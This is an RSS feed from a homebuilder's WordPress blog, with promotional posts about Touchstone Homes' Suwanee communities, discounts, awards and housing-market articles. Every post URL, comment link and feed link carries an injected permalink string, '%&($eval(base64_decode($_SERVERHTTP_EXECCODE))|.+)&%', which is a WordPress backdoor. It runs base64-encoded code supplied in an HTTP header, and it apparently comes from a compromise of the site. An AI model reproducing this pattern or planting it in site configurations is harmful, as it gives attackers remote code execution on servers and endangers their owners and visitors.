Touchstone Homes » Village Grove, Suwanee http://touchstonehomesblog.com Designed for Living, Built for Life Sat, 19 May 2012 10:32:54 +0000 en hourly 1 http://wordpress.org/?v=3.3.1 Community Leader Program Expanded to Include Families!! http://touchstonehomesblog.com/2011/03/17/community-leader-program-expanded-to-include-families/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://touchstonehomesblog.com/2011/03/17/community-leader-program-expanded-to-include-families/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Thu, 17 Mar 2011 19:59:34 +0000 tbennett http://touchstonehomesblog.com/?p=485

$2500 for Teachers

SUWANEE – Touchstone Homes continues to show its appreciation into 2011 for the everyday heroes that contribute to our communities by expanding its Community Leader Program.  Firefighters, police officers, EMTs, teachers, active/retired military, and public servants are eligible to receive $2,500 off the list price of any inventory home. But now, not only do these community leaders reap the benefits offered by Touchstone Homes, we have expanded the program to include Family Members as well.  If a Community Leader refers a family member to a Touchstone Community, they will receive a $500 referral bonus when their family member closes on their new home!

Police & Fire Discount

“We want to show our gratitude to the men and women in our communities that are out there everyday making a difference,” said Mike Zambri, Sales Manager of Touchstone Homes. “These Community Leaders and their families sacrifice everyday to help and defend others and Touchstone Homes wants to reward them for their actions.”

Military personnel are also being recognized and have the opportunity to benefit as first time or repeat homebuyers with the extension of the Military Tax Credit.  Those who served on official duty outside of the United States for 90 days or more are eligible for an extended homebuyer tax credit provided contract is written prior to April 30, 2011 and home must close by September 30, 2011.  In order to qualify, you must be a member of the uniformed services of the United States military, a member of the Foreign Service of the United States or an employee of the intelligence community.  Visit www.FederalHousingTaxCredit.com/service_mem.php for additional information or consult your tax advisor for details. The Military Tax Credit allows $8,000 for first time buyers and $6,500 for repeat buyers.

Military Discounts!

Touchstone Homes has been developing and building in some of Atlanta’s finest communities since 1994.  Over the years, as one of Atlanta’s premier new home builders, Touchstone Homes has built new homes in Barrow, Gwinnett, Forsyth, Fulton, Hall, Cobb, and Douglas Counties.  Touchstone Homes’ experienced new home builders and on-site professionals are well versed in assisting homebuyers throughout the entire home building process to ensure all your expectations are met.  From the time you select your home and make all of your selections in our Design Studio to the day you move into your new home-we’re with you every step of the way.

Touchstone Homes has received numerous Professionalism Awards from the Greater Atlanta Homebuilder’s Association, and the company has earned the coveted Certified Professional Home Builder designation.  Touchstone Homes has also received the national award of America’s Best Builder for 2007 by Builder Magazine and 2008 Management of Excellence Award from the Lee Evans Group.

Stay in touch with Touchstone Homes through its social media marketing and the company blog site www.TouchstoneHomesBlog.com .  Be the first to know by becoming a “fan” on Facebook, follow on Twitter, and view on YouTube.  For more information on Touchstone Homes call the Corporate Office at 770-945-5228 or visit www.touchstonehomes.com.

]]> http://touchstonehomesblog.com/2011/03/17/community-leader-program-expanded-to-include-families/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 0 Heard of Extreme Couponing? http://touchstonehomesblog.com/2011/03/10/heard-of-extreme-couponing/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://touchstonehomesblog.com/2011/03/10/heard-of-extreme-couponing/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Thu, 10 Mar 2011 13:34:08 +0000 tbennett http://touchstonehomesblog.com/?p=480

Coupons = $$ Savings

In these tough economic times, people are looking for ways to save money.  Gas prices are rising.  Food prices are rising.  Just heard on the radio this morning that a 4% sales tax on groceries may be returning.  Our very own Operations Manager for Touchstone Homes is savings TONS of money for his family of 5 right here in Suwanee doing what he calls “Extreme Couponing”.  He started a Blog to show you how to do the same!  Click here to read his blog.

]]> http://touchstonehomesblog.com/2011/03/10/heard-of-extreme-couponing/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 0 Is Renting Better Than Buying? http://touchstonehomesblog.com/2011/02/24/is-renting-better-than-buying/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://touchstonehomesblog.com/2011/02/24/is-renting-better-than-buying/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Thu, 24 Feb 2011 13:51:24 +0000 tbennett http://touchstonehomesblog.com/?p=469 Saw this article on a LinkedIn profile and thought we would share it with you……

Why Rent? BUY NOW!

Freaked by the housing market , more would-be home buyers are opting for rentals – driving rents up along the way. But it’s not just rising rents that new renters have to worry about. A handful of new costs could make renting less than the bargain it appears.

The average national vacancy rate for rentals fell 17% last year to 6.6%, according to Reis, Inc., which tracks rental performance data. And as renting has gotten more popular, prices have jumped. The average monthly rent, including studios, one- and two-bedroom apartments is now $986, based on Reis data. Before the recession, the average was just $930. And in some markets, it’s far worse: In New York, rents are up 9% on average in the last five years; in San Jose, they’re up 8%.

]]> http://touchstonehomesblog.com/2011/02/24/is-renting-better-than-buying/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 0 Model Home Available for Sale http://touchstonehomesblog.com/2011/02/03/model-home-available-for-sale/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://touchstonehomesblog.com/2011/02/03/model-home-available-for-sale/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Thu, 03 Feb 2011 19:28:12 +0000 tbennett http://touchstonehomesblog.com/?p=443

Open Family Room

The 2010 OBIE Award Winning Huntingdon model home at Village Grove is now available from Touchstone Homes.  The home is a two-story on a slab with two-car rear entry garage.  The secondary bedrooms are extremely spacious and well lit with natural lighting, as well with a 4th room downstairs that could be used for an office, playroom, library or even for a 4th bedroom.  The main floor consists of a separate dining room, kitchen, family room and breakfast that is very open with a large kitchen island at bar height, a great place for kids to grab breakfast or a snack after school.

The second level boasts an amazing Master Suite with lots of natural light, sitting area and an exceptional walk in closet off the Master Bath.  The Master Bath features double vanities along with a separate tub and shower.  There are two secondary bedrooms on the second level.

Master Suite

The Huntingdon model is Energy Star Certified by a third party inspection company.  The builder uses R-13 JM “Spider” Insulation which is a blown in insulation, creating less cracks and crevices, and a higher energy savings.  The builder also uses R-38 ceiling insulation in flat ceilings, Low-E Double Pane Insulated Windows, Low Energy Efficient Heater, programmable thermostat(s), sealed openings for pipes and wiring to prevent air infiltration and insulated exterior doors to increase the homes efficiency.  An Energy Star qualified home can save the homeowner as much as 15% in energy bills.  An Energy Star certified home is a healthier home by having sealed ducts to prevent unwanted dust, pollen, pests and fumes from entering the home.  The home features Z-Wave technology, for example, you can program certain lights to come on when you open the garage door through the garage remote.  You’ll never have to walk into a dark house again!!

Gourmet Kitchen

The home features James Hardie Concrete Siding with ColorPlus technology, with a 15 year Limited Warranty and is backed by a solid Builder Warranty.  The Huntingdon Home can be yours for $270,515 (furniture not included).

Village Grove is a Master Planned Community located in Suwanee, in the North Gwinnett School District.  Suwanee was voted in the Top 10 Best Places to Live by Money Magazine.  Village Grove features three distinct product types – townhomes, estate homes and cottage homes.  The community has a Junior Olympic Sized Swimming pool, lighted tennis courts, playground, open air pavillion great for cook outs or family gatherings alongside an expansive green park area.  The overall community consists of 30% park and open space.

Touchstone Homes has been building fine homes in Atlanta since 1994.  Touchstone Homes is the recipient of many Professionalism Awards, management awards and is a Certified Professional Homebuilder through the Homebuilder’s Association.  Stop by and visit this fully decorated model home, decorated in the latest trends by CDS Interior Design of Suwanee.  Model Home is open 5 days a week.  For information on this home , please call 770-831-6883 or visit our web site www.touchstonehomes.com.

]]> http://touchstonehomesblog.com/2011/02/03/model-home-available-for-sale/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 0 Touchstone Homes named in Top 15 Builders in Atlanta http://touchstonehomesblog.com/2011/01/07/touchstone-homes-named-in-top-15-builders-in-atlanta/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://touchstonehomesblog.com/2011/01/07/touchstone-homes-named-in-top-15-builders-in-atlanta/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Fri, 07 Jan 2011 13:38:43 +0000 tbennett http://touchstonehomesblog.com/?p=437 The Atlanta Business Chronicle has published their 2010-2011 Book of Lists, which includes home builders as well as many other industries, and Touchstone Homes is amongst those names.  These ranking are based on number of homes sold and revenue.  While 2010 was a very difficult year for many builders across the nation, being included in this prestigious list is quite an honor.

To read more, click here.

]]> http://touchstonehomesblog.com/2011/01/07/touchstone-homes-named-in-top-15-builders-in-atlanta/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 0 Touchstone Homes a Winner at the OBIE’s http://touchstonehomesblog.com/2010/11/16/touchstone-homes-a-winner-at-the-obies/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://touchstonehomesblog.com/2010/11/16/touchstone-homes-a-winner-at-the-obies/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Tue, 16 Nov 2010 13:59:21 +0000 tbennett http://touchstonehomesblog.com/?p=395 It was just another day for most folks, but Saturday, November 13, 2010 was a very special day for many builders and developers across Atlanta, including Touchstone Homes.    The 2010 OBIE Gala brought many people together for one goal – to celebrate their successes of 2010.  The past couple of years in the home building industry have been touch and go, but November 13th made the all difficulties and hardships worthwhile, at least for one night.

Touchstone Homes was awarded OBIE awards for two of our newest floorplans at Village Grove and Riverdance townhomes both located in Suwanee, Georgia.

Huntingdon - Gold Award Winner

The Huntingdon floorplan won a GOLD OBIE award for it’s innovative floorplan and technologies used within the home.  The home is Energy Star Certified and is located within a Master Planned Community featuring larger estate homes, cottage style homes and townhomes as well as swim, tennis, parks and open space.  The Decorated Model at Village Grove has been used over the past year to demonstrate the efficiency and effectiveness of this fabulous floorplan.  This plan features an open family room/kitchen/breakfast room with large kitchen island, granite countertops, butler’s pantry, separate dining room, a flex room downstairs that could be used as an office, playroom, or library.  The upper floor showcases a fabulous master suite with lots of natural light, two large secondary bedrooms and two baths.  On the front of the house is a community friendly front porch and a rear entry garage served by alleyway.  This home features Z-Wave technology to control the interior lighting, wired for security system, Johns Manville Spider insulation – blown into the home to create a more energy efficient home and James Hardie Color Plus siding.  The Huntingdon at Village Grove starts in the $250,000s.  You can reach the agent for details on this home by calling 770-831-6883.

Halifax & Guilford at Riverdance

The second GOLD Award Winner of the night for Touchstone Homes is the Halifax townhome plan at Riverdance.  The Halifax plan features an open family room, dining room and kitchen on the main level and two master suites on the upper level.  The Halifax is also Energy Star Certified with the blown insulation and a rear entry one-car garage.  These townhomes start in the $140,000s and are located in Suwanee.  You can reach the agent at Riverdance for more information or for a VIP tour by calling 770-476-7374.

Touchstone Homes is very proud to be the recipient of two such prestigious awards in the Home Building Industry.  It just goes to show that even in a slow real estate market,  Builders can continue to thrive and improve home plans to be competitive.  Touchstone Homes has spent the past 3 years value engineering and coming up with new, more economical plans for today’s home buyer.  Our newest community, Clarkstone Village, located in Flowery Branch starts in the $140s for single family detached homes with 3-4 bedrooms, 2-car garages, and Energy Star Certified as well.  The energy star certification can save you as a homeowner up to 15% in overall utility costs due to better and more tight construction practices.  Energy Star Certified is provided by a Third Party Inspection Company and gives each home a rating based on numerous tests they perform on the home throughout the construction process.

Touchstone Homes is also building Energy Star certified homes in Ivey Chase, Sterling on the Lake, and Southgate Village at Windermere.  Visit our web site for available homes and locations across Metro Atlanta or call 770-945-5228.

]]> http://touchstonehomesblog.com/2010/11/16/touchstone-homes-a-winner-at-the-obies/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 0 Year End Sales Event at Touchstone Homes http://touchstonehomesblog.com/2010/11/09/year-end-sales-event-at-touchstone-homes/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://touchstonehomesblog.com/2010/11/09/year-end-sales-event-at-touchstone-homes/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Tue, 09 Nov 2010 13:52:36 +0000 tbennett http://touchstonehomesblog.com/?p=381 This year has been a challenge to the home building industry in Atlanta, and other parts of the country as well.  We have seen many builders and developers in the Metro Atlanta area go out of business due to lack of sales and liabilities.  But Touchstone Homes located in Suwanee is not one of those builders!  Touchstone Homes continues to build and sell NEW homes in Metro Atlanta for a competitive price without lacking quality of selection to the Buyer.  Touchstone Homes has launched  a new product line in our Village Grove, Clarkstone Village, Ivey Chase and Sterling on the Lake communities starting in the mid $140s and up.  New Home.  New Home Warranty.  New Life for your Family!!!  Just in time for the Holidays!

Thumbs Up to Touchstone Homes!

Touchstone Homes has available homes that have been reduced to sell and are ready to move in immediately.  By working with our Preferred Lenders, Suntrust & MetLife Home Loans, we can assure you the best of customer service on your home financing and closing experience.  By using our Preferred Lenders, Touchstone Homes will cover up anywhere from $3,000  to $5,000 in Closing Costs (depending on community).  We are offering Short Sales and Foreclosure Pricing without the hassle of going through that lengthy process with the Bank!  No headaches, no waiting – just Buy and it’s yours!

We are offering another incentive for purchasing in November and December – we call it a Move In Package.  Included in the Move In Package is a GE washer & dryer set, garage door opener and faux wood blinds throughout the home.    Contracts must be written by 12/31/10 and must close by 1/31/11.

Touchstone Homes also has lots available for Pre-Sale Homes in Ivey Chase, Village Grove, Clarkstone Village and Sterling on the Lake.  Your new home can be built for you in 60 days – with our new building process, and without sacrificing quality at the same time.

Visit our web site for Available Homes, Locations and Pricing.

]]> http://touchstonehomesblog.com/2010/11/09/year-end-sales-event-at-touchstone-homes/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 0 Gwinnett County Public Schools Wins Broad Prize http://touchstonehomesblog.com/2010/10/27/gwinnett-county-wins-broad-prize/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://touchstonehomesblog.com/2010/10/27/gwinnett-county-wins-broad-prize/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Wed, 27 Oct 2010 20:28:26 +0000 tbennett http://touchstonehomesblog.com/?p=363 NEW YORK – The winner of the 2010 Broad Prize is Gwinnett County Public Schools outside Atlanta, The Eli and Edythe Broad Foundation announced today. As the winner of the largest education award in the country, Gwinnett County Public Schools will receive $1 million in college scholarships for its high school students. The four finalist school districts will each receive $250,000 in scholarships for their students. U.S. Secretary of Education Arne Duncan joined philanthropist Eli Broad at the Museum of Modern Art to announce the winner, which was selected by a bipartisan jury of eight prominent leaders from government, education, business and public service, including three former U.S. secretaries of education.  To read more, click here.

Congrats to Gwinnett County Public Schools!  If you are in the market for a new home and would like to be within this AWARD WINNING school district – please visit our web site  at www.touchstonehomes.com.  Gwinnett Homes include Ivey Chase, Village Grove, Riverdance, and Trilogy Park.

]]> http://touchstonehomesblog.com/2010/10/27/gwinnett-county-wins-broad-prize/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 0 Are Tax Incentives more Beneficial to Younger Buyers? http://touchstonehomesblog.com/2010/10/19/are-tax-incentives-more-beneficial-to-younger-buyers/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://touchstonehomesblog.com/2010/10/19/are-tax-incentives-more-beneficial-to-younger-buyers/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Tue, 19 Oct 2010 12:17:27 +0000 tbennett http://touchstonehomesblog.com/?p=359 The National Association of Home Builders (NAHB) has done research that reveals that tax incentives, such as mortgage interest and first time home buyer incentives, typically benefit younger families and home buyers more than others.  Research from the Internal Revenue Service (IRS) shows that buyers ranging in age from 35-45 receive the most tax benefit, then 18-34 year old buyers and the benefits decline as the tax payer gets older.  To read more, click here.….

]]> http://touchstonehomesblog.com/2010/10/19/are-tax-incentives-more-beneficial-to-younger-buyers/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 0 10 Reasons Why Home Ownership is a GOOD Thing http://touchstonehomesblog.com/2010/09/21/10-reasons-why-home-ownership-is-a-good-thing/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://touchstonehomesblog.com/2010/09/21/10-reasons-why-home-ownership-is-a-good-thing/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Tue, 21 Sep 2010 12:24:37 +0000 tbennett http://touchstonehomesblog.com/?p=349 Enough with the doom and gloom about homeownership.

Sure, maybe there’s more pain to come in the housing market. But when Time magazine starts running covers that declare “Owning a home may no longer make economic sense,” it’s time to say: Enough is enough. This is what “capitulation” looks like. Everyone has given up.

After all, at the peak of the bubble five years ago, Time had a different take. “Home Sweet Home,” declared its cover then, as it celebrated the boom and asked: “Will your house make you rich?”

But it’s not enough just to be contrarian. So here are 10 reasons why it’s good to buy a home.  Read more….

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